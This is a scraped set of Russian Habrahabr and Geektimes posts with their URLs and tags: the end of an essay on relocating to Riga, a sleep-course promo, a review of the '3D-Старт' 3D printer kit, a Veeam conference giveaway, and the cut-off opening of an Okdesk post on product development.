который я начал свой рассказ. Я немного подытожу что получил, что мне обещали и что вообще сейчас в Риге на момент декабря 2016 года. Погода супер, сейчас +1, 2 дня назад было +9, как тут жить мне ещё предстоит привыкнуть. Работа Я получил договор с хорошими условиями, больше чем получают админы и программисты в среднем по Москве, но это моё начало развития. Всё впереди. Я получил синюю карту ЕС, которая позволяет пользоваться определенными ништяками, включая автоматическое разрешение на работу супругу. Мне обещали и оплатили стоимость аренды жилья за 3 месяца на время испытательного срока. После испытательного срока страховка и ещё какие-то привилегии. Светлый офис. Свежие фрукты каждый день. Кофе, чай, напитки в неограниченном количестве. Обучение на определенный бюджет. Командировки. Новое рабочее место: ноутбук, мониторы, телефон. Всё что я сам попросил. Я получил отличного работодателя. Хороших новых друзей, новые знакомства с профессионалами в своей сфере. Хорошую возможность для развития и совершенствования себя. У меня обалденная команда. Булат, Андрей, спасибо за каждодневную поддержку с момента моего переезда и всего что произошло в моей жизни потом. Жилье При выборе квартиры обязательно интересуйтесь центральным отоплением или хотя бы котлом в подвале дома (такое практикуется, когда жильцы сами делают систему отопления в домах). Иначе очень и очень холодно. Недостатком центрального ещё может быть позднее включение, тоже ради экономии могут сделать такое. Поинтересуйтесь прошлыми счетами за коммуналку, чтобы вам показали их в явном виде, иначе можете попасть на деньги потом. Жильё не обязательно брать рядом с работой, всю Ригу можно пройти насквозь за час-два. Общественным транспорт просто отличный. Расписание на картах гугл и вы можете до минуты знать когда приедет ваш автобус и троллейбус. Пробок нет, то что в Риге называется пробкой, это просто потолкаться от светофора до светофора.Бывают затруднения, но вы не проведёте в стоячей пробке 2-3 часа в одну сторону. За это время можно доехать до соседней страны и пойти на работу там. Развиты велодорожки и вело транспорт. Летом никаких проблем с этим нет. Банк Счёт в банке можно открыть бесплатно, надо только знать свои права. По правилам банка нерезиденты должны оплачивать открытие счёта. Но умейте доказать и обосновать, вы резидент, у вас это написано на ВНЖ. Вы уже резидент Латвии, вы не гражданин, вы не можете голосовать, но вы резидент и не должны платить никаких пошлин.Кредиты, лизинг и так далее, только на год могут давать. У вас мол ВНЖ на год. Нет, ВНЖ первый раз даётся на 5 лет, у вас есть решение министерства в письменном виде, показывайте его и доказывайте что вы правы. Переделка карточки ID раз в год, не означает отмену решения о ВНЖ на 5 лет. Связь После приезда и не имея ID, вы можете купить только карту MNVO "Золотая рыбка" на сети Tele2. Все договора на телефон, интернет делаются только с присвоенным вам ID, причём знать его номер не достаточно, нужно иметь карточку.Я пытался отшутиться и сказать что забыл дома, номер помню наизусть. Нет, без ID вы никто. Я плачу 16.67 в месяц фирме Bite и получаю за это полный анлим всего. Реальный, честный анлим всего. У них во всех планах анлим звонков и смс, мне нужен был анлимный интернет. 10-20-100Гб, никто и никогда Вас не ограничит, если вы ведёте себя честно.Не качаю торренты, качаю что-то по работе, сижу по удалёнке в Москве. Слушаю музыку. Мне хватает LTE Adv. У меня был кредитный лимит 40евро, но сейчас попросил увеличить до 90 из-за поездки в Эстонию и общения с женой в России. Нужно заблокировать номер и перестать тратить деньги в пустоту. Сейчас цены подросли, но и появились Гб включенного трафика в Европейском роуминге, но никто не переведёт Вас с прошлого тарифа без вашего согласия. Все операторы обладают схожими тарифами. Проводной и телевидение не использовал, сейчас ждёт переезд в другую квартиру, возможно будет опыт и я дополню. ВНЖ/Синяя карта Для синей карты вам необходимо подтверждение специальности по трудовой книжке минимум 5 летним стажем. Или у вас должно быть высшее образование и квалификация подходящая под описания вакансии в гос.реестре. Синяя карта позволяет, как и ВНЖ проделать процесс воссоединения с семьей, гарантом будет выступать компания работодатель. С синей картой супруг получает ВНЖ с разрешением на работу. Вы можете 3 месяца после увольнения находится в ЕС и искать работу. Опыт по синей карте суммируется во всём ЕС. При обычном ВНЖ вы будете вынуждены покинуть страну сразу после разрыва трудовых отношений.Трудовой стаж полученный в Латвии засчитывается в России, вы даже будете получать пенсию за то, что здесь работали. Такие договоренности между нашими странами. Медицина Она будет для Вас платной. Не болейте — дорого. На получение ВНЖ вам необходим будет снимок ТБ, делается за день в любом мед. центре за 15-25 евро. При трудоустройстве мне потребовалось пройти медицинскую комиссию: терапевт, сдача крови на анализы, глазной врач. Всё это было за мой счёт, в последующем такое обследование раз в год и компания это оплачивает.У меня получилось около 50 евро на это. Но я узнал о себе многое, что оказалось полезным, особенно что есть нарушение сетчатки и за ним нужно наблюдать каждый год. Я в России честно не был у врачей лет 6-7, может быть больше. После оформления страховки 50% мед. услуг будут покрываться страховой. Сохраняйте чеки и выписки, по ним можно сделать возврат в конце года налогов. Машина Машину в Латвии необходимо обязательно регистрировать в csdd. Без счёта в банке или аккаунта к порталу электроэнергии это сделать невозможно, но можно приехать лично и просто попросить зарегистрировать вас на электронном портале. И чтобы сразу зарегистрировали вам вашу машину на иностранных номерах. Я к сожалению потратил неделю между csdd/таможней/полицией/брокерами, пока пытался распутать клубок.Вы можете не получать Латвийские номера, вы можете просто ездить на своих 92 дня в году, с супругом 184 дня в году. Вам просто нужно получить на это разрешение. Там нужно ещё вроде декларировать дни выезда, но я этого так не разу и не смог сделать. Всё на Латышском, пограничники каждый раз говорят что им пофиг, полиции тоже, главное что вы получили разрешение на эксплуатацию. У меня оно на 3 года. Оказывается можно было в начале получить на 3 дня, потом на 14, и потом уже на 92, я этого не знал.Я пытался узнать как растаможить машину, оказывается для меня это было бесплатно, но для этого нужно было делать временный вывоз из России. Растаможить. Поставить на временный учёт в Латвии, сдать РФ номера. Весь этот цирк с конями не нужен. Да вы резидент, да вы не можете перемещаться просто так на иностранных номерах. Но не надо ничего таможить и ставить на учёт. Просто регистрация в базе что машина ваша и 92 дня в году на поездки, хотя их никто не проверяет. Через год проживания вам нужно сдать экзамен и получить местные права, но из знакомых этого никто не сделал, а если и сделали, то по приезду обратно сделали восстановление прав и имеют двое. При получении Латышских Русские у вас заберут. Не ездите на длинные дистанции в одиночестве. Теперь для меня 900-1000км без остановок кажутся нормальными, но тогда это было реальным адом для головы, организма. Берите в собой кого-нибудь. У меня нет попутчиков, теперь я путешествую один, поэтому только музыка и отвлечение внимания на что-нибдуь, вроде мячика под рукой, ну или заводите воображаемого друга, будет с кем поговорить. Цены Цены Московские, 20-30 евро в магазине вы оставите, но одному на неделю это почти целый холодильник. Можно закупится на 50-60 евро, но вы забьете холодильник до отказа, что в принципе соответствует Москве и ценам. Бензин около 1 евро. Проезд по-проездному около 1 евро, у водителя 2 евро. Карта Рижанина позволяет получать скидки на проездные, поездки, парковку и ещё что-то. Получать в клиентском центре общественного транспорта. Хоть я и не курю уже около месяца, сигареты около 3 евро пачка. Спортивный зал 7 евро за посещение. Бассейн 9-10 за 1.5-2 часа с сауной и всеми удовольствиями. Для холостяков, вроде меня, утро будней и вечер пятницы 7 евро. По абонементам дешевле, но если от полугода, а когда такой покупаешь перестаешь ходить обычно. Поэтому я привык к разовым. 30 евро в неделю у меня уходит на спорт и бассейн, это лучше чем по 3 евро в день на сигареты. Бизнес ланч в кафе, даже в старом городе, от 4 до 10 евро. Всё зависит от ваших потребностей, но сытыми вы будете почти всегда, если только после 23 не привыкли кушать, магазины обычно не работают уже. Идите к своей мечте Я верю что у каждого из Вас в жизни возникала идея что-то изменить. Поменять кардинально. Меняйте, вы поймёте что это всё к лучшему. Дальше вы сможете менять, быть более гибким и адаптироваться. Не останавливайтесь, развивайтесь. Читайте, изучайте, учитесь. Всё возможно в этом мире, было бы желание или ради кого можно это сделать. Верьте в себя и людей, которые поддерживают вас, вы на правильном пути, не предавайте себя и близких. Я посвящаю эту статью своей жене, Горшуновой Анне, когда-то моей любимой рыжей Лисёне. Ты сделала свой выбор, ты остановилась и начала новую жизнь, но ты предала такое ускорение мне, что я не хочу останавливаться. Спасибо. "не жена я тебе вовсе, а просто человек..."
https://habrahabr.ru/post/317470/
habrahabr
Видео-курс «Спать мало, но правильно»
['сон', 'работай над собой']
Статья «Спать мало, но правильно» пользователя Zevaka до сих пор находится в числе лучших статей Хабра за всё время. Мы в Zero to Hero решили взять её за основу (плюс приведённые в ней книги) и...
Статья « Спать мало, но правильно » пользователя Zevaka до сих пор находится в числе лучших статей Хабра за всё время. Мы в Zero to Hero решили взять её за основу (плюс приведённые в ней книги) и снять онлайн-курс " Спать меньше, да лучше ". Курс готов, он совершенно бесплатен и его уже посмотрело 4 тысячи человек. Пройдите этот курс, и вы узнаете как: Сократить время сна, Увеличить качество сна и отдыха, Достичь такого высокого уровня энергии, которого у вас не было никогда, Избавиться от дремоты, быть сосредоточенным на протяжении всего дня, Снизить ваш привычный уровень напряжения и стресса. Основная идея оригинальной статьи была в том, что важно понять и использовать свой температурный ритм. Мы тоже сделали на этом большой акцент. Основные идеи курса: За ночь человек проходит несколько фаз сна, и важно, чтобы пройти их все. Две самых важных — т.н. «глубокой сон» и «REM-фаза», и их легко упустить, нарушая базовые принципы гигиены сна, Одни и те же 7 часов сна, но в разное время ночи, дадут разный эффект. Если лечь спать тогда, когда клонит в сон (т.е. тело говорит, «Эй, сейчас оптимальное время!»), ночной сон будет глубоким, и вы выспитесь. Если же лечь в «блин, уже час ночи!» и проспать те же 7 часов, вы на удивление с утра будете разбитым, и придётся глотать кофе чашками, Днём нужно хорошенько погонять кровь по жилам (в буквальном смысле): заниматься спортом, пить достаточно воды, знать когда что лучше есть и постараться уменьшить потребление спиртного и сигарет (ибо они «отключают» некоторые важные режимы сна), Отдельные фишки от нас: использование некоторых психологических приёмов и техник, чтобы было легче «договориться» с собой. Вот трейлер курса: Приятного просмотра!
https://geektimes.ru/post/283622/
habrahabr
Импортозамещение снеговиков, или готовимся к Новому Году с 3D-принтером «3D-Старт» от Даджет
['3D принтер', 'даджет', '3D-Старт']
Давным давно, в самом начале 90х годов, когда я жил в маленьком провинциальном городке — дети делали новогодние украшения и игрушки своими руками. Кто то склеивал снеговиков из папье маше,...
Давным давно, в самом начале 90х годов, когда я жил в маленьком провинциальном городке — дети делали новогодние украшения и игрушки своими руками. Кто то склеивал снеговиков из папье маше, кто то вырезал снежинки из тетрадных листочков. Схемы поделок брали в журналах «Моделист конструктор», «Юный техник» или придумывали свои собственные конструкции, делая наброски на листочке в клетку. В те времена не было ни одного ребенка, который был бы оторван от творчества или был бы не способен сделать игрушки своими руками. А все потому, что практически каждый второй взрослый городской житель — работал на производстве. У кого то мама и папа были инженерами, у других — работали техниками или слесарями на заводе. Эта особенность и закладывала в воспитании детей тягу творить. В юной голове крутились картинки станков с папиной работы. На которых умелые руки работников ловко рождали новенькие, блестящие детали машин. Естественно — ребенку хотелось так же умело творить новые вещи из казалось бы ржавых и ни на что не годных кусков металла. Но, счастливое и радужное детство прервали 90-е. В страну хлынул поток дешевых «фенольных» игрушек из поднебесной, дети стали играть тем — что покупают взрослые, потому что у самих взрослых оставалось все меньше и меньше времени на творчество с детьми — новая реальность диктовала новые условия выживания. И вот, дети выросли, многие из них окончательно утратили связь с творчеством, ушли в другие более денежные сферы. Получение денег — стало главным смыслом жизни большинства. Большинства тех, кто в детстве мечтал быть творцом. Но желание создавать нельзя так просто заместить другими вещами, оно рано или поздно все равно найдет себе место в жизни любого, пусть даже самого занятого человека. Ведь что такое современная домашняя 3D печать? Это реализация той детской мечты к творчеству, прошедшая через призму повседневной занятости и нашедшая себе нишу в виде реализации настольного мини завода. Теперь каждый человек может позволить себе быть созидателем. Кто то скажет, что все мои рассуждения — это лишь вода, не относящаяся к делу, но мне хотелось хоть немного погрузить читателя в ту атмосферу, которая окружала меня и подталкивала к творчеству. Ну а так как ностальгия по советско-российскому детству и китайский 3D принтер — вещи не совсем совместимые, то возьмем к обзору изделие наших, отечественных разработчиков: 3D принтер «3D-Старт» от «Даджет». Компания позиционирует свой набор — как конструктор 3D принтера для быстрого и легкого старта 3D печати новичками. Вся механика данного конструктора, со слов компании — была придумана, спроектирована и собрана в блоки — в России. Фото принтера с сайта компании. 3D принтер, в отличие от своих китайских собратьев, поставляется в виде набора законченных узловых деталей, которые перед использованием следует собрать воедино, по идее это должно заметно облегчить запуск печати для рядового покупателя. Судя по рекламным текстам с сайта компании перед началом использования — достаточно сделать четыре несложных шага: распаковать — собрать — подключить — установить ПО. Все это должно занять у нас не более 45 минут и в идеале — не потребовать никаких дополнительных инструментов. Попробуем, так ли это на самом деле и оценим порог вхождения для человека, разбирающегося в технике и решившего в первый раз попробовать 3D печать. Попутно будем измерять время, требуемое на каждый этап, не то что это особенно важно, просто интересно насколько честны маркетологи. Распаковка Не знаю как вы, но я люблю разбирать коробки с вновь приобретенными вещами медленно и размеренно. Поэтому на данном этапе сравнивать время, затраченное на распаковку коробки мной со временем, указанным на сайте — не совсем корректно. Скажу так, если вы действительно торопитесь поскорее запустить печать — то этот этап займет у вас минуты две. Что соответствует заявлению производителя. Упаковано все было достаточно хорошо, пупырчатого полиэтилена положили не жалеючи, все детали целые, комплектность сходится с описанием. Сборка Действуем строго согласно инструкции. Крепим каретки осей X и Y к раме, в получившееся основание продеваем направляющие для оси Z и только после этого окончательно закручиваем все крепежные болты. В моем комплекте были вложены шестигранники трех разных размеров, поэтому дополнительный инструмент не потребовался. На самом деле процесс сборки настолько элементарен, что тут справится даже школьник. Проблемы могут возникнуть только с вставкой направляющих оси Z в подшипники. Дело в том, что если начать торопится — можно выдавить шарики из подшипников, а они очень мелкие и довольно хорошо раскатываются по столу и полу. Так что будьте осторожнее, не повторяйте моих ошибок! Подключение электроники В этом шаге так же нет ничего сложного, один нюанс — шаговые двигатели имеют направление вращения и если подсоединить контакты другой стороной — двигатель будет перемещать каретку в противоположную ожидаемой сторону. Поэтому если у вас какая то из осей двигается не в том направлении — просто переверните контакты разъема соответствующего мотора. Обдув экструдера подключается на постоянные 12 В., рядом с разъемом питания на плате есть соответствующий разъем, состоящий из двух штырьков. Других подводных камней замечено не было. С момента открытия коробки — прошло 50 минут. Почти уложились, думаю после небольшой тренировки получилось бы дойти до этого момента минут за 20-25, но мне спешить было некуда. Установка ПО / настройка Здесь начинается самая интересная и самая сложная часть. Для того, чтобы принтер начал печатать — необходимо: 1) Установить драйвер для платы Arduino MEGA (на нем собран контроллер принтера) — этот драйвер устанавливается автоматически при установке Arduino IDE. Мне конечно эта IDE не нужна, поэтому стал искать драйвер отдельно. Но под Win7 ничего нормального не нашел, пришлось все таки качать ардуину целиком. 2) Установить программу Repeter-Host. Она управляет непосредственно печатью, вместе с ней устанавливается слайсер (это программа для нарезки исходной модели на слои, для последующей печати). 3) Загрузить настройки слайсера, оптимальные для данного типа принтера. 4) Загрузить модель для печати, задать ее расположение на печатном столе. 5) Нарезать модель на слои, используя загруженные в п3 настройки слайсера. 6) Нажать кнопку печать и идти пить чай, потому что процесс печати далеко не быстрый. У меня получилось сделать 2 шага, из данной последовательности, после чего произошел затык. На странице с загрузками на сайте компании не было файлов конфигурации. Спустя пол часа поисков — необходимые файлы были найдены на стороннем ресурсе и подгружены в программу. Но так как подробной инструкции в части настройки и калибровки принтера не было — пришлось все додумывать самому. Кстати, обратная связь с компанией работает довольно хорошо и мне обещали, что в ближайшее время они подготовят хорошую инструкцию по первоначальной настройке и разместят у себя на сайте актуальные файлы настроек слайсера. Но пока работаем с тем что есть. Самое главное — максимально ровно выставить печатный стол и настроить срабатывание концевика по оси Z. С момента открытия коробки прошло 3 часа. Все необходимое ПО наконец то было скачано и установлено, файлы конфигураций загружены, принтер откалиброван и готов к печати. Тут наверно все таки стоит кинуть камень в сторону маркетологов, до первого старта потребовалось в 3,5 больше времени, чем гласит запись на сайте. Пробная печать Для теста принтера был выбран кубик 10х10х10мм, настройки слайсера и принтера с сайта Даджета, запускаем печать. Спустя еще 20 минут ожидания — получаем первые результаты: Вроде неплохо, учитывая что печать запущена практически без подготовки. То есть без особых знаний и навыков удалось получить материализованный результат. Это не может не радовать. Но надо двигаться дальше, не ради кубиков же мы его взяли на тест. Попробуем распечатать что нибудь посложнее. Например «миньона» из галереи готовых моделей. Так как моделька достаточно большая, а время близится уже к часу ночи — уменьшаем ее в 2 раза перед слайсингом средствами ПО Repetier-Host. Запускаем слайсер, слой так же 0.2мм, расчетное время печати фигурки высотой 4см с заполнением 20% — 1 час 30 минут. Ничего не поделать, будем ждать. Ближе к двум часам ночи, когда фигурка доросла до уровня глаз — произошел отрыв детали от стола, пришлось останавливать печать. Видимо это был знак и пора идти спать… На следующий вечер, после работы решено было продолжить освоение принтера. Но при запуске — он просто отказался печатать. То есть печать шла, головка перемещалась, а вот подачи пластика — не было. После остывания экструдера до 120-140 градусов — из него был извлечен пруток с очень интересным окончанием. По виду извлечения — стало ясно, где то в экструдере есть расширения, в них образуется пробка из расплавленного пластика, поэтому поступающий пруток не может создать необходимое давление. Целый вечер ушел на снятие, разбор и полную прочистку всего экструдера. А так же на его переборку и вырезание новой тефлоновой трубочки-вставки, взамен той, что была в термобарьере. Потому что именно из за короткой длинны этой трубочки и происходило образование пробки. Советую всем, кто приобретает 3Д принтер с экструдером E3D V6 перебрать его сразу, еще до первого пуска, так хотя бы не потребуется вычищать застрявший пластик. Попробовал печать после переборки, с ходу получилось распечатать простое охлаждение экструдера и детали. Печатал без заполнения, только стенки в 4 слоя, вышло довольно неплохо. Деталь распечаталась быстро, но в работе меня не устроила, так как конструкция сама по себе не продумана и обдувает область печати всегда, хотя большую часть времени деталь обдувать не стоит. Попробовал распечатать с этим обдувом достаточно большую деталь. На десятом слое — поток воздуха остудил сопло ниже 195 градусов и подача пластика прекратилась. Нужен был другой обдув, чтобы радиатор экструдера обдувался всегда, а сопло только по требованию программы. Времени на поиски модели обдува не было, решил вернуться обратно на вариант без охлаждения области печати. Что же напечатать следующим шагом? Впереди новый год — поэтому будем печатать снеговиков. Готовим модель в «Solid Works» Как нарисовать снеговика: 1) Создаем новую 3Д модель 2) На передней плоскости рисуем эскиз половины профиля снеговика 3) Через инструмент Элементы — Повернутая бобышка/основание создаем тело вращения вокруг оси центральной симметрии снеговика. 4) Сохраняем результат в STL формате Так как максимальная высота печати по оси Z = 80мм, а мне хотелось снеговика большого размера — пришлось разбить его на сегменты, которые в финальной модели соберутся на шпильку с закладными гайками. Начал печатать с нижнего сегмента, поставил принтер на кухне, первые 2 минуты полет нормальный, прихожу через 30-40 минут проверить — а там ткацкая фабрика, иными словами — первый облом. Убираю недопечатанную деталь, запускаю еще раз, опять облом Не, ну в третий то раз должно повезти? Взял специально деталь поменьше, на всякий случай. Тут в моей голове начинают появляться нехорошие мысли, потому что проблема возникает всегда в момент печати заполнения. Смотрю настройки слайсера — так и есть. Ретракция (втягивание прутка) на слоях заполнения в 2,5 раза больше, чем на остальных слоях. То есть при печати заполнения — возникает ситуация, когда обратный ход пластика становится больше, чем подача и все, экструдер затыкается расплавленным пластиком. Поправил значение. Было 7, поставил 3. К этому моменту уже научился править файл конфигурации слайсера в ручную и нашел там интересные значения, которых нет в GUI оболочке. Но об этом как нибудь в другой раз. С новыми значениями ретракции печать пошла. Так как дело опять уходило в ночь — оставил принтер печатать деталь на кухне, но под присмотром веб камеры, чтобы в случае чего — увидеть развитие проблемы. Видео с бортового самописца. 1,5 часа печати за 6 секунд. В следующую ночь печатал основание снеговика. Таймлапс 3,5 часа за 1 минуту 20 секунд. Первые результаты печати Ну и результат печати. Снеговик в высоту получился примерно 15см на него в сумме ушло около 8 часов. Качество печати конечно хромает, на нижних слоях видно смещение колец наружного слоя. UPD: Позже оказалось, что все таки в большей степени здесь моя вина, по незнанию основ печати — я выставил на сопле 0.3мм высоту слоя 0.3мм. Срочно надо возвращаться к мыслям об охлаждении пластика. Нашел вот такую модельку (фото не мое, взял из интернета, если нарушаю чьи то права — пожалуйста сообщите об этом), но в последствии она более чем устроила, рекомендую. Было бы здорово, если бы компания «Даджет» включила в комплект поставки принтера этот обдув как часть конструкции. С ним качество получаемых изделий возрастает многократно. Результат установки обдува, сопло 0.3, высота слоя 0.2мм: Череп специально был уменьшен до минимально возможного размера, чтобы не затягивать время печати и заодно протестировать печать мелких деталей с активным охлаждением. Видно — пропечатались даже зубы. Попробовал печать слоем с высотой 0.1мм, сопло так же 0.3мм. Получилось, как мне кажется, очень даже неплохо. Дальше начал делать полезные для дома вещи, например напечатал держатель раздвижной двери, потому что родной очень тонкий и дверь на нем слишком сильно болтается. При 100% заполнении и слое высотой 0.2 мм — отломить выступающий язычек не получилось даже пассатижами. По твердости вышло примерно как если бы я вырезал эту детальку из куска стеклотекстолита. Ножовкой по металлу отпилить можно, но если начать ломать — то быстрее слижутся грани, чем отломится кусок. По пожеланию жены — попробовал напечатать конфетницу. Процесс печати конфетницы, немного недоглядел и слайсер (Slic3r v1.31.6 prusa edition) добавил дополнительные утолщения на нижние слои для прочности. На фото принтер в доработанном состоянии, стоит охлаждение детали, провода убраны в нейлоновую оплетку. Доработки копеечные, по моему их можно было бы включить в поставку принтера. В общем — этот зверек уже неплохо так прижился у меня дома, места занимает немного, а удовольствия от творчества — полно. Я даже заказал дополнительный пластик серебристого и синего цвета для печати различных мелких деталей для собираемого мной ЧПУ станка. Там нужны: держатели концевиков, заглушки на концы осей, крышечки для придания более эстетичного внешнего вида, крепеж для блока управления, держатели проводов и прочие мелкие вещи, которые ждать с али долго, а нарисовать и напечатать — дело пары вечеров. Если интересно — могу потом сделать запись, посвященную созданию ЧПУ станка с нуля из недорогих компонентов. Подведем итоги. Плюсы: Оно печатает, причем можно сказать прямо из коробки, а после небольшого «тюнинга» — даже с достаточно хорошим качеством. То есть если подарить такой набор школьнику от 10 лет — то он с легкостью разберется. Довольно подробная инструкция по сборке в комплекте, быстрое время сборки. Настольный держатель для катушки пластика в комплекте. Самое ходовое сопло 0.3мм в комплекте. Занимает мало места на столе. Есть ручка для переноски, для меня актуально, так как пока что таскаю из комнаты на кухню, в зависимости от того где в текущий момент не находится жена. Оперативная поддержка пользователей. Минусы: Довольно путанная инструкция по настройке (но вроде обещали исправить и выложить на сайт новый вариант) Иногда скользит по столу, не хватает силиконовых ножек или подкладок. Конструкция узла гайки оси Z. При опускании вниз приходится придерживать пальцем каретку, чтобы не произошло застревание и выпадение гайки. Зеленый цвет печатных деталей. Тут скорее мое субъективное мнение, но в белом, сером, черном или серебристом цвете — он бы смотрелся менее игрушечно. В комплект поставки не входит охлаждение для печатаемой детали, хотя качество печати при его наличии возрастает многократно. Блок управления без поддержки карт памяти, то есть печать только с компьютера через USB шнур (можно конечно докупить отдельно блок управления с поддержкой карт памяти, но это уже доработки) Шум (этот пункт относится скорее ко всем 3D принтерам), чуть не развелся из за того что печатал ночью, теперь печатаю только днем. Принтер шумит примерно как стиральная машина. В целом, я бы посоветовал данный принтер в качестве подарка ребенку, мужу или другу технарю у которого еще нет 3D принтера, так как начать освоение печати на нем действительно не сложно. А дальше человек уже сам определит, будет ли ему достаточно данного принтера или он начнет собирать свой собственный с нуля, используя этот принтер как завод по производству необходимых деталей. И запомните, 3D печать — это легкий наркотик! Затягивает! Будьте осторожны! Купить 3D-принтер «3D-Старт» с 10% скидкой можно по промокоду GEEKT-3D в течение 14 дней. В комплект входит блок питания 12 В. Меня попросили разместить информацию для авторов: Компания «Даджет» заинтересована в публикации независимых объективных обзоров даджетов в разного рода СМИ. Компания «Даджет» с радостью предоставит даджеты блогерам и авторам, желающим протестировать их и написать обзор. Устройство после написания обзора остается у автора. Компания не пытается указывать автору, что именно писать о нашем товаре, но просит показать статью до публикации. В этом случае есть возможность уточнить информацию и предотвратить ошибки. Учитывать ли комментарии компании или нет, всегда остается на усмотрение автора. Подробнее...
https://geektimes.ru/company/dadget/blog/283588/
habrahabr
Новый Год! Раздаем 10 поездок в Новый Орлеан на VeeamON 2017
['veeam', 'veeam backup', 'резервное копирование', 'бэкап', 'конференция', 'конференции', 'розыгрыш', 'розыгрыши', 'халява']
2017 год уже совсем близко, и по этому поводу под наплывом позитивных чувств хочу поделиться от имени Veeam двумя вещами: Самое важное – СПАСИБО вам за то, что были с нами в течение полного...
2017 год уже совсем близко, и по этому поводу под наплывом позитивных чувств хочу поделиться от имени Veeam двумя вещами: Самое важное – СПАСИБО вам за то, что были с нами в течение полного разными событиями 2016 года. Мы желаем всем крепкого здоровья, успехов и мира в новом году. В эту честь Veeam запустил уже ставший традиционным праздничный розыгрыш, когда можно выиграть одну из десяти полностью оплаченных поездок в Новый Орлеан , США на VeeamON 2017, международную конференцию администраторов виртуальных инфраструктур , на неделе 15 мая. Какие призы и как поучаствовать? Всего до конца года Veeam раздаст 10 оплаченных поездок на VeeamON 2017 . Каждая поездка включает в себя: Полный входной билет на конференцию, включая питание Перелет туда и обратно до Нового Орлеана от места проживания победителя Аренду номера в хорошем отеле недалеко от места проведения конференции Чтобы поучаствовать, заполните короткую заявку на странице розыгрыша . Крайний срок – 31 декабря включительно. Победителей будут выбирать произвольно. Что такое VeeamON? Мы подробно писали об этом здесь . Если коротко, VeeamON – это международная конференция для администраторов виртуальных инфраструктур и не только. В 2014 и 2015 годах конференция проходила в Лас Вегасе. Ниже добавила обзорное видео, как это было в прошлый раз. В 2017 году мы планируем принять в 2 раза больше участников (около 3,500 человек) в Новом Орлеане. В первый день будут выступать такие видные докладчики, как Марк Руссинович , CTO, Microsoft Azure и Sanjay Poonen, Customer Operations, VMware. Всего в течение трех дней конференции будет больше 85 сессий на технические и бизнес темы. Также во время конференции мы традиционно отдадим чек на $10,000 USD человеку, который покажет лучшее знание продуктов Veeam. Если будут вопросы – спрашивайте ниже в комментариях. Очень хочется, чтобы в 2017 году русскоговорящих специалистов на VeeamON было больше :) На всякий случай ссылки, которые могут быть интересны: Страница розыгрыша Конференция VeeamON 2017 в Новом Орлеане, 16-18 мая, 2017 (на английском) Обзор конференций в 2015 году на vmgu.ru ( день 1 , день 2 , день 3 )
https://habrahabr.ru/company/veeam/blog/317472/
habrahabr
Как мы развиваем наш стартап — Help Desk систему Okdesk: баланс между долгосрочной стратегией и пожеланиями клиентов
['helpdesk', 'help desk software', 'стартапы', 'okdesk']
Всем привет! Наша команда развивает облачный сервис Okdesk — Help Desk систему для обслуживания клиентов в b2b сегменте. Наша стратегия продаж — не “впаривать”, а решать насущные проблемы клиентов....
Всем привет! Наша команда развивает облачный сервис Okdesk — Help Desk систему для обслуживания клиентов в b2b сегменте. Наша стратегия продаж — не “впаривать”, а решать насущные проблемы клиентов. Поэтому особое внимание мы уделяем развитию функциональности продукта (пожалуй, так о себе может написать каждый:). В разработке продукта нам приходится балансировать между долгосрочными планами развития и текущими пожеланиями активных клиентов. Ведь нужно поддерживать лояльность тех, кто уже выбрал наш сервис (улучшать созданные функции, повышать удобство работы и т.д.) и развивать новые функциональные блоки, ориентированные на тех, чьи проблемы мы пока решаем не в полной мере. Задача кажется простой, если есть неограниченное количество рук, голов и времени — но в реальном мире все обстоит иначе. Под катом расскажем о том, как мы решаем описанные выше задачи, как устроен процесс разработки продукта, а также поделимся планами на 2017 год. Баланс между большими “фичами” и небольшими улучшениями Развитие ИТ-продукта можно сравнить со строительством здания. В начале вы разрабатываете проект здания, далее делаете фундамент и несущие конструкции, заводите коммуникации, монтируете окна. В принципе, когда готова “коробка” — в ней можно прятаться от дождя и ветра, греться зимой (если есть отопление). Но чтобы чувствовать себя комфортно нужно обживаться — заниматься внутренней планировкой, ремонтом, покупать и расставлять мебель. При этом, внутреннюю планировку и отделку вы можете дополнять и изменять при необходимости в процессе “использования” здания без его перестройки. Так и в “строительстве” ИТ-продукта. Есть изначальный верхнеуровневый план развития, сформулированный в терминах крупных функциональных блоков. Этот план исходит из реальных проблем клиентов, на решение которых ориентирован продукт. Для составления такого плана проводится анализ рынка, конкурентов, интервьюирование клиентов (например, мы проинтервьюировали несколько сотен сервисных компаний из разных отраслей). Верхнеуровневый план может меняться при получении обратной связи от рынка — но не радикально (в основном, с точки зрения приоритетов). Радикальное изменение плана возможно, но только вместе со сменой концепции всего проекта, что в народе именуется как “pivot”. Не имея хоть какой-то реализации крупных функциональных блоков, сложно формулировать правильные требования к деталям — элементам интерфейса, удобству, прочим функциям, входящим в блок. После реализации первой версии крупного функционального блока и началу использования новых функций, у создателей продукта начинают накапливаться пожелания по их развитию — через собственный опыт и получение обратной связи от активных пользователей (подробнее об этом в следующем разделе) Таким образом, в backlog-е продукта присутствуют крупные “стратегические” задачи, и накапливаются менее крупные задачи по улучшению созданной ранее функциональности. Крупные задачи нужны для расширения применимости продукта (рост бизнеса). Улучшения нужны для того, чтобы работа в системе была удобной и полноценной (повышение лояльности действующих клиентов и сокращение оттока). Для поддержания баланса между крупными задачами и улучшениями мы разделили backlog продукта по типу задач, и в каждый продуктовый релиз включаем задачи каждого из типов (обычно — одну большую и несколько улучшений сделанного ранее). Таким образом, развитие продукта идет “по двум полосам”. Такой подход позволяет нам радовать действующих клиентов и привлекать новых, чьи задачи мы не могли решать ранее. Работа с пожеланиями клиентов Обратная связь от пользователей является важным источником ценных требований к развитию продукта. Все пожелания необходимо фиксировать и анализировать. А в дальнейшем принимать решение о реализации новых функций. Нет сомнений, что обратная связь от пользователей важна. Но не всегда и не от всех. В этом контексте пользователи бывают принципиально двух типов — клиенты и не клиенты. Когда “не клиенты” только изучают систему, они могут дать обратную связь. Обычно это список требований в стиле: “я куплю, если вы сделаете это...”. Бросаться с головой в реализацию требуемых функций, в надежде получить еще одного клиента бессмысленно (особенно силен этот соблазн на ранних стадиях проекта, когда каждый новый подписчик дает заметный относительный прирост). Чаще всего данные требования являются не причиной отказа в покупке, а поводом. Причина может быть какой угодно (нет денег, устраивает текущее положение дел и так далее). К слову, по нашей уже накопленной статистике, процент тех, кто просто смотрит и не совершает покупку даже в течение года — достаточно высокий. Поэтому, если пользователь говорит “я бы купил, если бы вы сделали…”, мы отвечаем “мы сделаем, если вы купите…”. И когда такой пользователь становится клиентом — с его требованиями мы работаем уже полноценно. То есть настоящую ценность имеют пожелания, тех, кто перешел на этап “Успешная продажа” в воронке. У 